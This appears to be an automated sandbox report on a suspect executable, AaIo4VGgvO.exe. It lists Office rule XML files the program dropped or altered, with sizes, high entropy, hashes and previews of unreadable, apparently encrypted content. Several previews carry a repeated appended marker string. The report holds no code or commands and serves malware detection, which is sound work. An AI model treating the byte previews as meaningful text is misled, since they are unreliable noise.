Preview:	<?xmlER.'..x........u\......{..........~:.. ...l..4.......b...~D.....yf...F].F...~u..6....6./}(..v'.w..y..q@P..gr..1#)...v.J.9q...O'......k.................I.F.P..J.......+.KY...@V...J.._N.........M....e.....L.a...t.#..;..FZ......(.1.O.g_..r..U......{..>..h..{.89...}.}K,...K.}..s.3A&..`..7.^.ca...3x.8...Gw:.6.d..m.....c.....9.......&...ljU.+..u..........f...Xa\n.........K8\.....9q....a..."q...vMZ5...0.KIeY..$..-V..n...B..u.!.z.`.b....1...4?U.q.7.[..u........A;.....6..U(....=..\.m#A*..N6.S....7X...G.@.b..`#.z./.F..G......s..)8{....M..K.....p...s.Z......$..r..`.z?.m.+..i.=.$...kBz..OSR\|.,...].F..B........5..3.....n..p..Y+P}V.q.A..E.6..A...- .$.K...t.5."G....^(...j%.....1mW.wR.F.....u...B.Y...#.1.@..uhm...k.D..0uhGt.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500009v4.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	7.805438727794237
Encrypted:	false
SSDEEP:	24:P2xupLtKnZzm+c1HbzLG7PwAoiYj0uExAUT5kfsA6cpH7wgxbD:nptiZK+gzLG7PwFj0twuaD
MD5:	CBEFD843826AFDE0BF450D5792A2ECC9
SHA1:	E7AE037B2A2E3148530629967427BF2250278E44
SHA-256:	A94F7B6A46C9A3FD583F79E22B13D0A813FA94736B3F0C6288D41F9EC0E8238C
SHA-512:	AAC0271DCA50381C5DE4FE8C593F9A54BEDA47A1A2EF2E7F300FC37C61D6332C5E945C937FE71A58C998E3EED65ABFF2BF0C333DFC24D931292C1728362E9478
Malicious:	false
Preview:	<?xml..\......+..1$.UN}..C.F.....K.~!.Kbl..f...<VS.....^{.]......].(Q.....6..H}..}\......E...g...d....K.].u.......M.t..S'IK.....P0.. .QVc.....af...... ....K.tR....._..X..'..PY..p.am~.....b......C..Z=`.}.8.xy.E:k.....".P...(.'...s.....yp..I.P0.O.j...\.....1(.....;w...x.E..e.\.Y.Q...H......O...X..=.4..PQ...l..6.).....>Z...02..!...... ^..........-....%cG..,.!d.e.k...MS....x..K_7:01fi.....&.l..;".%@(....H...t.P.(...2O..e...w..<.....%..1......../KM.l...o.A.....zXX.k.......>Dn..M........N.......-.1....n......r...7..v..Pg3.TC...]..."..#.8.y.{D.W,.G.,.g.n.....,........H....S.g....sk.....r.g(or.mTF..1..In.S#..I....h.........../.,......Rm.....Nq..xv..x......4.".@..-...U.,a...w..+%..+.j).@F.U...3...s.?...N)....c..;.c.[..U....a.a.=.......U..uT..N..].....)..S{(..._1.}*... l%G.`....}b.I..xp..{.].K,^..!.0/U)6..+........0&.$UI.VN+F]..m...y.uy...x(v.Mn..lxM......<...Z..?{-M.......P..T.1....]...d..a..J..B.d....E..p2..8.I.8.....9.j....oQ.. &...PQ~.&...G

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500022v4.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	7.76076105719892
Encrypted:	false
SSDEEP:	12:hVL23zo3TalT/Tcrr3lqxPpEngKvcH2hxaRX7drVYKAolw5i2G1BcF1WEMWX2A14:DLl25Or16pEgKEHgcRZXcF1BMn7bD
MD5:	65D5A55738E8AFC4B46C38E974D51A44
SHA1:	71E5969B6BB23F02B5D5ADA94C9E139D2A56EC81
SHA-256:	CEE8131B4CC526024B8768DE79F3B07B26BCAC36D0EE8770DCC58FC3F5FCA25A
SHA-512:	BE96DB1D62BFCA6CD754380A30422E1EE6D1CD640CE2929C4238842F5C80F60DD064B1E2A9F78B7ABF19A7A1C37323EEF7A96FCFE6050F5C499111CFCB4F56AA
Malicious:	false
Preview:	<?xml...6....VH..Ni..,.\M7..I..p).L?....*u%....ZP..x$...$.;H.&GQb.o8!.>>....t..g.......5e....)...@...H..,.J....\|.;....U.4.J.!M...A.3..1..y+P........I.W.....y\.....1....8..lG.....U.9...._. .A..J.U.M.T........}.y.S@k1W.?%.m...#..Mw..J..U.>..VE\..,..8..W..;..L...k..2\."..Hw...w.{f...t...f.....1N.\|..J>..D.2.]..-a9.4...U....?...Gu...;...bjA..............-~.~KCDp..I..C,_..~B..?.ww...#..7...j.7..)..E\>.2cc.[;...R...r^.uY.n....w.......;.4$PI;B...ZcM.....i7~....,7S.O..P.r..............f...6........:.....8C>...b+D$.,..$.oQ...$...R.].R....Eg............._.F.C...^.=...!{..Y...p.9C..JtP(j....q&y....y3.0...gK.....Pb..'$k........{.,. kSE.c..9....L\|.I....C....MX..[........2;.............T......~..:C.n...No.A..X..S7.....Q.7..U.v..c..".].,...O......Jw....[. {.:I.....5..+F....`c..V.......f..M[..6Q3.MI....F}...'.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500023v4.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	969
Entropy (8bit):	7.756042134837454
Encrypted:	false
SSDEEP:	24:chMCWOfxyYWPrf4VqS4A6/3btgVNgN7jbD:chMhO8YWPMUS8+/OLD
MD5:	B2ED009E6A853963DED93D45B6F102FD
SHA1:	9B35DBED5A5F48103E86219E54AAABFC9B5D3860
SHA-256:	768122202F0BB8ECC4EA6C6F915996336F81A60760F21042A97D62D9CB89E4B5
SHA-512:	5385B99D2A3B6B3B58624D910E5D492DAC026ECE77277646C0CFF5CE7D4AA485FC75666246D837CB82030857EEB43CB611C476AC1133A32BC5E179BAD12A37E1
Malicious:	false
Preview:	<?xml..8w."$....B.HU..........y...O..Q...&j.Xk...........P....y...Wdh..).%.gjPe....s......u...,2...?..Tw....S..v..0.QC.T...J...,>l....9.to..{..!.v...g\|3...H..0.Y..Ba..<L..V.8..B..I>....V..s72..c.x..}..n?....X..m`.W...7..1Z0........H..Cwu.L...H....@T"c...n.h.....]....._....V...g..1&...)."...V.....s....8....w.!<......z.....;..(.m...g....9.5M.3....:.`.n.....a..'g...O.S%.Jl[$.M.$V....&.I2.V.?]..`-N...j..U0.3.".@.....fS.H+......m......0..c7]..Q......VD....fv.B.Z3..#{..o.....%..SF.x..f.%.cRo..u..Bl..`J\R@....3.;.A..PX...$c.6/..a.-.....Dd...J....q.......16..d..T{..Au.c.."......D....j.`..9.$...68.......^J....:d.vd...."...W{.c.V7.DT.../s...fGK..d).c?...m.A..Q2.D...X...P.....rD.#.../.dC....E...`.2.5......_..a".Q.qVz7...uQ.....HR......J..\| .,..Q..5B%.....9......E...........t...N..................SY..K..e...........iM..d..WY.).8..=.{..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500024v2.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1467
Entropy (8bit):	7.8548012508112794
Encrypted:	false
SSDEEP:	24:Nl2ByZ3r68tC4OPX6rjUv2YTeJKd6ZhX6aI8v5Qh8d0xZ5n347kr8YHbD:NgByte894X3u1Kd6Zke5ENK7kggD
MD5:	743F45F0C9A3043B97F1F37FBC1ECB5D
SHA1:	B63A7F2E07043A966AFF6F7455FC82B015B69BE9
SHA-256:	BD21AE17B02C2B23CB66F789F9A638C8E687EBFF9ECE60E670498179982429AF
SHA-512:	373299F991F6EA58A70A803D286FE1FEFFF57E20E731675873B10B903965E7962C987AE9CB18215D1A0B2F0DBC9CFE59B1EBEBE62D1C79C109B1DE655FF4D195
Malicious:	false
Preview:	<?xmlO"?#...7._..}.....p.....V....i..R.`.w.f....1...oX%......\|.3M9D..=v..X.7w..J.%..>,4i....\|.=.w.....E .nS...;..dw......zi........1..2B..T..v.L..F.^LS..%..W..._.[...@e......P.../.k0..w..i];.......hu...Lq.........El...` g^.'.,G7Gy.+.c..{w.4.g^..P..L.........x7T...5.=9..6..5.....c.....D.lT.9..;......7.,.>1..^.....^..I!./0....8......'.HEz`...9,.\A.aW.`q.....f....(%#.G_.E0.._..-.~.\|.;......2Z.MI......D.g~.<.15...+..`..0.8.....k.._.H.>......D.....c.;.".....9..~./6..{iS../....ic.7y......xR..?...n.%P..>.K1.....:a....Nn.\|a.9....S.D.....j..o..,#m.t(..Aq...d..^.^.j.\|.$[vhPJ'[.........q.0#.:.4:.....[y..]5.8..5.z....y8.c.X{.q8...?\....W..`j...U..e.0...J.>.....S.5.....iJ....P.4H.?kC...D5.\..Y.Y.]...JoG..S.\|.B7...5..w..b..JQ.]Dd0..+...hME%...w....3..[$JE......,>.b....j.g...W.".,..H<B.5...l..s.h...n....,V......4..!..$.3.q.@....Z!.c!d...p[.5idU....:....._.jC4<..r.ogz...:.V$.G..F.2uj...U.u.a.mP=.t.........?5.hL.-...c......`.O..'...I.Z.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510000v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1397
Entropy (8bit):	7.845511257944924
Encrypted:	false
SSDEEP:	24:Sz1nMKMXAhLSxDlRM+It7xzwGi3fZWgtdrAPLkCyOrr151XUEtCQllLx7uJtGTu4:aueuxDXMD7xUG4BW7Tc25tTTL9B68D
MD5:	B55CCF5109B4B7E82C8742145C690135
SHA1:	ED1B3D78E4A229B4E30C147AED536F46ACBE9DB9
SHA-256:	7C64754DBF7C96CFA2572E7DF0F48DAFD8292B710E3E4AB7B086679E60553EAE
SHA-512:	8D317965753B1262BDFEF2833CF1EF50209B7864D93656FC4DA68F41F0330D990DF3677CF78701837FFE4B04BFBF3398AF6DEE96D15C7B76F7FE6DE6A3E3EE72
Malicious:	false
Preview:	<?xmlAi.k........i.S......Y...l.y[.u.N.U...f.>[{..@]j.f8AZ..`.U2m.I.^........N.q .....\. L....M.Nn...#....n..R86...,S..!.(.CC.$E...G.Y..22Z.K.e...-...../toI.}.{.gf...=.D......a....S...P..O4....2r ....W`%,._1'1&iy....t.4OJJ...E...........W.w~..^.V.3.&&....... <..l.......4..8}-. ...o.[.K".K[Ad....sT7d.K..{jY[2._e...M-Oe.JL..+..4x........!v...YF(......Vh..'...+......a...F$.-H............@W.iM.d'.C..P..Y......3Gu...EL_.,v...T^..'\|v.-F.....@...E..._.........?...-D...En.)..6.d......[.....,...=\|..8o.. .b....61K.p..]Z.\]....u...._Fh.....5n..-Ce..5..`.K.L......t...tVP....!. .tt...On.}%..[./.IW......8...6.../.W.1Z.-;..o].....3f....T.g...5...`*.... .xZ....0.......}..a..\|.5..'.S...._@.?M#~..........k....Ar.`..../.L.n....R&.sb..u~..8.Q.~.lf.6.V.r.iu.\k..2;S.....4>E....... ..<.N-.m./......9....X.$..j.Z..p.''j.G..C.....i..%.$\.`.k..._...a...w...c.....@.]..9.<......U.....[0W.....j+..>.../...wE..t..]!.9....Y....%."......Z.MT...q.s~B0... A8.1D.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510005v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1269
Entropy (8bit):	7.853067135558388
Encrypted:	false
SSDEEP:	24:t/oUWjxS8CICQ+2M+E9YKii18fwK8wbai/VeFbD:t/oUWYFQsDYKii1B68D
MD5:	19E1A183E69A54B50A4CEB623AAE6254
SHA1:	6A654DB3042828F60348DCB50B86092A332A0C6D
SHA-256:	552E937519F7D11109090009B29111BAD86542EF1820BBE565FF2A238F9D0303
SHA-512:	9A04E6D2FC0F129EA54F8599B7AC1A195C81CCB6B3BD4553417AC938BD471CE3BD8B5601A22187217BE862C2B9638B9322969DBC19F9972C24D51385D8A8DCAE
Malicious:	false
Preview:	<?xml..}...;.....UG..... ..C.0.w...b...}.[m.B....w._..&.D..;...{.....F.P...~.l..N....z.T....u.....!..i.7....>m....h'E#..0hh\..suLe.......,...P...U...B.<..E.n...zn.m.Q...b....[.;.T.....j3 IX....).......u.g....SH5.4.a../..OS?~.T.....}.1.G..dC...]....C..N....l/..r.U.Z..E.c;....A..t.}(..91.a...!.u^k.,..t.L.=YZ.U.. .......w..eA..&2^yK.....pBp.?[%...Gl...E.}...,.i=;EN..../..lK#.......bN..s.;...:...T.=..Z".....!....g..Y...c..9.C...M%Y@).....[r.u'r.g.w...O.9.......9.#R.m6.n...?).....E.hL....{.0j... ....x..R/U7.....q.......!.;..m..>.......y:ro.5J.;9.H.Oy......BVi].....E./3+S..i%I.S......1.9i.$.....An9q...... ..f..._Z....-h......{Q.........@....Xh..o W......."...RQ....H...d.%.T.T....(#.MM.9........W........ .......5....X. ...`Ur.=......y.3...C......f..U.D.w.!.k..&...A1....a..}:2....mv2.>...._.*e..Z.u....r.t-.\....^...V~..6q.X..I..R...4....8h\6....U.p%..\|m....q..2Kf>#.-..'?B.t..=.n......m.i'.;.`p....@..U..Z..\|.....t>...'...Ae..-....Q!..^t.)_.B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510006v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1088
Entropy (8bit):	7.801087163417222
Encrypted:	false
SSDEEP:	24:gd6euuegxvu7xPRWZ54dsbnkU9rYJJMrogzVUAjESAOAbD:C6eiQvuZR26soU9rYJSWrTD
MD5:	B803BC5C0BC02A085488EE0F00854CBA
SHA1:	38CACE05E52BD0DF84AFA2D278954DD0E0BDE215
SHA-256:	69B14DB4675C27C08759968DAB7A102525E02837D4F6DD238C42B616183A2F5F
SHA-512:	FD9F0F34CE516A9811A7F5DFB44B03814D78296634DEC50FF7420FAA3506F2DA98E3E84D284CB953763BBB93460D0FB050783714042F5A3330639065A4CE0D91
Malicious:	false
Preview:	<?xml.G,....r..R..J.....8h.M.....zMn..3j.02@"..$<....J.Sn.:..J.D............0.....,..C..a.......mS;..N...L..."KM>...S....=..x.....4.p.......zQ@&...o..."~T^rn......_.......u9...w.".k..f....OW....R...f}.......P...E7;wh.......Z..\|j.8y..5.-...C.>^.A..._..d...a...q..w...T/....k...7.e.....[....F........[DT.......q.....-..rpptDv.:..q.w...w.v.._...4.$.{....j.."...O...)Z\|2.....n..N...f.............v.....2..Qv.x....F.2.T.tEW.y....B..h..O.8n.-k..f........S..........4.S.`.5...KE.q..3.!....w.....M]^.D.).......F..... Vt'.0..."+w,.........r..c.".....x.r>,.._.a....0'#>..l.;.>\.Hi.7K.J...gO.1..m.x<. \Uz..,.6.......lB....x.:\|....Q.u....a..I......_5..KZ..C.!q;r.....?SK.1z.!...g<.T.0~0..}...s...........#q>..2.(....,...77...R..%.k.Dh.F.....Q...7..2...9.O.t2.sm7s...YX'...e>.......kJ,^1}..j..@..V.........%6..Z.f.AH2@.........PQt.:.(X.....OY}.AR.C.q..hBg.}r....FC...A....?y.,C.l..Kw.-..m.f..M..VKf...l...!,..5...z._.....I[]..O..+..q.ju."&p.]W.n....D'...[...xh.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510008v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1100
Entropy (8bit):	7.815009852337945
Encrypted:	false
SSDEEP:	24:iut3bqUrMvWrDI2ImzvWFHfEmjBQID6yynVRkk4k1pLC5TWPtabD:hAvWHJIyCT9QCLYVRkzmCgYD
MD5:	EC44078F67A6A48B6248780452B616B3
SHA1:	CCAAB6BBDBE904EF1664094134B647DA81CDE26B
SHA-256:	3B5EF1F537B33C6C1AEA53E942EB2C4889826978B55662E085F12F9FA57E73D1
SHA-512:	6F69DB685B103256925C3CF804B1FE3021D88D9F0B62BC7938C5465D13E82EEF15F5DEE72CDA888762BF805EAFFD2C9D01717A81462327A43F903B04B49CFF65
Malicious:	false
Preview:	<?xml...BFx.}!.e.^e.0..._..a@.k........C..'[.....M.``.w..p~...E..UAg$..V.7y.....{.r.6TGD}.ey.?.R..r..wG.@"...../h..:Q.z.;.{..YE.#....`$.."i.n....gK.:...M......x.....h.\.....Q.).....9;...>....\...O..E"x...+ I..D.2.j4....+...".....E...x6..../..<..#.{.H..mi.......U.g.lw..m...->.R..E.s....4.1...z....~.Hl......BV.s2...r...c.F.......w..<..1..Q<.vy._c.O.D...@.b...U."t..%iv.4....n.cN.h6Cx.........8.[]..[....h....J^y.m.SF...,h.=A. O.?U.p'f.^..Z..2.7.a.(<.R..I..^_....E?..k.....E/...d2E.H..*E..z..E...../....+.......Y..w...:..0\|@R...x....U]Y..i.!.H..3.K7.}..OiE...{].)....%..+M.....g.......a!..-...?&.!p.X..Qo.V......L. .$...".,b.ur..d.n..+......?@... _...O...%........6.M..v.!.ep.q..%...\W......u.SC..$3...fC.l).s..Aw.......X.%&.}..:...k"..;.....9.&....).....s...9.]...N.d.X....[.N./......&qh.gH.8?.....A.+.<...wZ..k.. g.e1kKokxhQ.I.........6..2o.E..&..2............2.0U.&P.W...[N.s..n.Fy]...bv,.$.TW......-L#o.Z=..%k.wgklo.j....h8..,.........C.$K.qH.......'

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510009v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1192
Entropy (8bit):	7.811210285556187
Encrypted:	false
SSDEEP:	24:loQwH8KvZuF9Rc6tG2neqyetHCF1mceBsiZA0SO22I7uAbD:AcKvZuTaEGoBi1mceC0l2FjD
MD5:	902CFC8580AB431AA1ECC9A4069AEE85
SHA1:	9CACD2245DF7224CE070EB98A2D83351A339A78F
SHA-256:	CBACD7B114CB0E4F81F6FB049DA7281EA9D8B78618969E0B27540DC6615AD681
SHA-512:	67010B729A7B3296481C1A01320214C3209842BE0074AF99F007FDA073415D09BCCC1BED9C3BB793B48315BE5F2D7F71383E0D9C90E884D1937E21E405089AD2
Malicious:	false
Preview:	<?xml.}%.W.=....... .ad.-...:4#......B..SF.;...@...h..%.\....q...L;..D...y..%..[T..hEQ.eb.m.:..e...Q...Q. V..\|.?.n{.(..`2..3p"'..e...v2.8a....?i...u...m...4.k.S<8....J..5E.....d@.\...42....B.fj.G...r..k3..QY..f{. xe../....L.......S.VOO.......QP..p.....U...^:.3..HM..\|..@..u,...........<.oY?..^GD.I0m.....t_...(.[...(... .<..!..0_(k..bw.,..m..i...8.m..(.}.D4..BV.......OT/..Z.n....~..s.....a..v...4ZhD..x.[.:.Y....$.7....L..o..m........@...D...u]).r..#.....r.ZP.)..h-l@C....6\|p.......1.C.L6...A...}.h4..\....."...b...Cj./...XU].=.qc.nP..........._.......0..V..B6A.......M.Y...w..CD'xD..Rh..)......G.p.E-E.q1.....fr.v.n.@u..-..e._.G.H...v........(...e.e.&...o6+.....Jb.5.Tm....%.(K.p-..z."...P..B...\|x.3.K..os.1...R.>...._....B...>..g........O..=.P........+..s... ....s.M-.+......tDR.ke2%!e.....tz..(-jb.G.OPT@h...aE.8.7.MZ;A>f..hR....._r.?.5.............E.B.S.....v..b...Z.....a......huV..C.....9PRc....[1)w&q:f$..#K.h.LR..d.c..Fod."..6..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510010v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.7661328027711765
Encrypted:	false
SSDEEP:	12:A+f/V/ctNxIrBjgQwsmaggvkorfbsIRZl07KpzPVS0vgZVe04c3NzQFPMpcTKEDy:A+FcnwBcQwRa2orzc7VZ40bsVGEH9ubD
MD5:	793C7CAB80C6034520BBC09715331D73
SHA1:	60D18190792A05892F096BC6E478A1A1FBA9B3C9
SHA-256:	F3C3ED4BBFC5639E5256C98B1B95F6FDA10BA5349770FE2A67B2E92C8BBEECCE
SHA-512:	66F90AF53B43201B60616296AF87C844A9EA221FCE360D3E1DBE706FF74C861C73552B17F0B697A5E634375167A95E513F48CDD14D1918DFC4530FEA811B0DCF
Malicious:	false
Preview:	<?xml.PW....vh......80.X/..<.I.v.\|..+.t.9......u.0he...f...c..)nl...!...t._.S...;.;V...Kd..A.....f.@?.B...?1."..+~..t...F.k.m......6.....Y..).H.e..p.tM]s......4..Z-\|..v..x9:3.h;E.r.}.....,..S.Ta.Zi..v.....=......s..j%C...<i.tQID...9(.Z./.oa........P..v...^..4./.......E.m..............Z.Po......4..O.a0N.[}..`...K.........O..e&8..`X'..p......Q..B....j......vcp.?........J......B............/..`.\|.Q.;c..(v...i.N.....}..$+#~.b.%,H~..@.....-.....Bj...F..-....\1[~@.d.D..4..el9..."=...z!..:....w..7.Y.P.d}k.\|.o.%.n.K.Q....PP.....,8.S..!HGH....D<....4.N...s.K....-..Y.wq[..%......u.kF..iE...o...R..N...FH.%.....l.2.t.5....\..B..v..H...Q....K..}.+.Hc..v...V..&<....-.xL&.%.......c...6,.1L....~3Xrj(...n.T1..;......&....!$q.X:6...\|....-.$z\.dL..wA.95.O>P.:$or^4.......%Mh.........[..>....2..C.;@.],...c.;.<..^.gC@.....'g.7..)......d.....w}..w]....Q.w.\..Q.......o...&.g..5...iL\..T.A......].7.57B...WJ...$#.Gh.FSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510012v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3884
Entropy (8bit):	7.94700599016592
Encrypted:	false
SSDEEP:	96:S2q9RGZhjvmfGW5/PyptbqPNzU5ORkl1Lh/rQ:Sloh6OAq/b8zU5nl1FrQ
MD5:	0FB18D55EFAE0D94435D52A207D96506
SHA1:	57BDD819CEB0CA882FB68261D431131C8DCA8402
SHA-256:	6F23811527EA2B0EA9C8910B5A89A981C657FEC59FC6144FCABC397F7A624CC3
SHA-512:	02D58DADD6DBD40B0587FA63568EB7A3D99C1C441F875D8C27A6C4417F2144A0981F8A3090C72EABE82486046A601442021BECECA20686AC084BAEBC52488EE7
Malicious:	false
Preview:	<?xml.'p"H...!......i....../M.N9...&\|.$.g.b...p...B8g8t.....I.\..\k.2-.\|P..... Y.Dm..Z.....).EhH...!..k.../Qe.n...<..,~.....bbQm.....W..2`.I.m....a........l./.....9..m..&...a....S.=..W'<.+ES..k@....EJC..@..v..k...&...ct..<.Iq.%c..?.avIS.A..>..;....S.m...JS.....ik.U./.....g...,K.1.([7.P...-..g.h5g.]!w........`.......{.XRD...Ga7...X.._z...L .{o5..rKV.O..5...);.W..%....U'.1C..9......K.w...j8..0..r..D.~. $....#...l.F[.W.X.h...].....K...i......%.j..h..P..... .>......q.47o.5G....Re......\.......g..e.....T-"ud.)...".L..d..2..A .j...!.h.......#....i....\.).....U6..s.`...yd.XSG......%......C$.....H.,G...x.]/...U.,...N.s(# ".M...........`...j...]\w3...=;..[.o..:..j.d....h........R.vd&.....<..`V....;. ..0@....Up.......]\...oy ...T....]qkb.N..a\|.l...n..w...w:....s.>1...g.aX.........?.G.(y...!3...t.0K.,....y..r].........."........:<3.CH...p)s...D%.....6._.82..H.....kpi_...-ZM.B...0$s5...h$..4..p..9...".=.W.s.Z...)....@...g).A... ..:...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510015v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	790
Entropy (8bit):	7.717481370512242
Encrypted:	false
SSDEEP:	12:TB1DsCcxdSZydJsejg1GE0W+vPqJcApoUxf9I1AwgUNp4Jo+7jsn0FLT7mf1+ciD:l1DsC6Gc2GrW+HISUxfe1aUsqcfZHbD
MD5:	549C9E85EC03ACA40670B68F3DCFA425
SHA1:	26F10190E03CAD51BE40F90BD537511BC445DE93
SHA-256:	4D78716C5F7B3AA614E405EA809A3A278A62AFCFFA59B18C297B54E37449A5B6
SHA-512:	63E114E358CE1663F1F6A9C3869D0C06296DBD4A7F9E5B5501BFF64E47611577CF21DC75417AF81D863AD5919262367634927AC83569CF72C22821776B5A85ED
Malicious:	false
Preview:	<?xmlS.OB..[...\CDk...H..i.O3...O......@E...[.P...s.........b...u..,.J.\|....(Ym.0.....;L,s....z.$U...S....1..Z.........>.O....p...+(.B......:....^..i.. ...n..s!....{..Z..pU...j},K..no{.'^.O.{kpZ.W..vj/..h..v."sL7w..jVb.}.."..".x,Ev1...G......t!..g..."...)5..YF....M,.M\|y......$...{..f.?.M.ZT....w....&...-.h@3.f.........j..{....D.z.lv..K..x8.&..&k.t.xf...Ujs...ik325....:`.Z3".-...3.6.v...y..P....W...........W....'\|.i:[J...F...T.........g..+U.T...)..\|e.!@[9.4h2....#......b......[..n\|..C8.n.D.r;`...A.I]m..)[.D........sG..u......=...ofe.-l..eR.,b.!11B._.p.:...8........%..E,....n...B...S..!\|....I1...e;>J..S....Kje..........@..n....3...!..I..#q..0Z.2.?......GS.....F..i.....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510016v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3934
Entropy (8bit):	7.949500942032583
Encrypted:	false
SSDEEP:	96:QP4JL1eA4Rhqc5zcdQNKUEL03vDYz9MkTD90DVVy2yyR+KJ:BX4R55f8NALQl90DVVy7y0q
MD5:	DBD20FC6355440044FD427071EB050F9
SHA1:	4D83C626E37A2F11CDBFD7D130A194F836B25F7E
SHA-256:	9B2BCD29454BFDD2F8512F0F21A21DE980327784A90769E88F54D6DF821ED7F6
SHA-512:	F9BEAE2AF3A351FBC4F3DEC8CA63E4EEA7D269828BA12C4854E493A5BE877E7DC49673458DAEA87360F9B69AA86FC70408D067E5799EB1EDBB342A5A06C17421
Malicious:	false
Preview:	<?xml..a..?.c..c..e.6%Q!QUC....PZ.....Q...C..5...K..k^.2.Gd..lRN...M...C9...Z^.!.X.........e.{...,.>L"._...d....i...x.i.G....q..b=TW0..d....D....\TS........\....`."......:v...f.Y_ ]....T.3............r.Q......c.W..t........L..UI..._.{._~.Jq..4.....5.'OllQ..~6.......tO...X#.8..SKivg...V.?......,..8.9..D.."y..&.dj..[..<W....HU..,...o.N .p9.P.Pxc.....R..[...Q....n.g...J.}.OKG....tu....[.......7....s}...:.....JT.\|I..R.s~{.....,z..iEE.<.<........2).!m........., a..............u.Ae..Z..$./..A...d,%..Rl.z......o[D...;...C.3......}..../.......`.R...(.J..e....3..i."i.....`...X.>.o.-U....i....nI&..m..=\..f.K...l..g.....q...0.&<..JQC..%.../5..6....HC...T..g&8{.yL..>....@..F..Z.;gnu#...\|l.R...o.$.":l5..B.5.Gm.@.,.....gP7...S&..'.KI.p.&..G..x.(...v.?..J..h(.b.`..W.5.b.w!..^P....Be..HvQ...i~..s........+j[J...z-..X......c..~..Y.....JT{.-..[.X...$.6G.RW.R^.s.....Y#.b..........X......;N%$FE..o.d..C.a.~4C.>..K..]I.E.%...y.U.v ...,t..6

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510017v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1148
Entropy (8bit):	7.836269788265303
Encrypted:	false
SSDEEP:	24:hT+ku6siOdt7xR0CWqMrMW5kZN2JDJN7PTEGpbD:F+YsHdtFSFRMWWZN2vNzrJD
MD5:	04C73C7645E86F6ADE7D386CD4589041
SHA1:	6F0DFEA56CA101977F603D06D73971DA0AEBF912
SHA-256:	1DD3492C5C6CF256817D265A14D23534A4D972CA7CCDD71BCBAF6E8A2AEBB923
SHA-512:	40677D1E1C75278EF4084A8AC41D34E566B7435D6253CAB57E278344DF08983F6D6F7BCAB935FEB0B4DE9554CE872BB5E9096EAF314B76796B1B1CBFDC937FF3
Malicious:	false
Preview:	<?xml.#.b...6v`r.].H.. %<.....w....-.8X...\....&..&.,...Z.D.u....s..@.t.%.".}bV....0.)........B.....UM.....+......'..&...../.:+8...[...&....m.l.1p..\.4N...m.&H....i?........)g....o.0}...G.R..%...B;.U..g..w.H...M&Jza..r;....\|....Y.U....%I.....E.^..1.I. 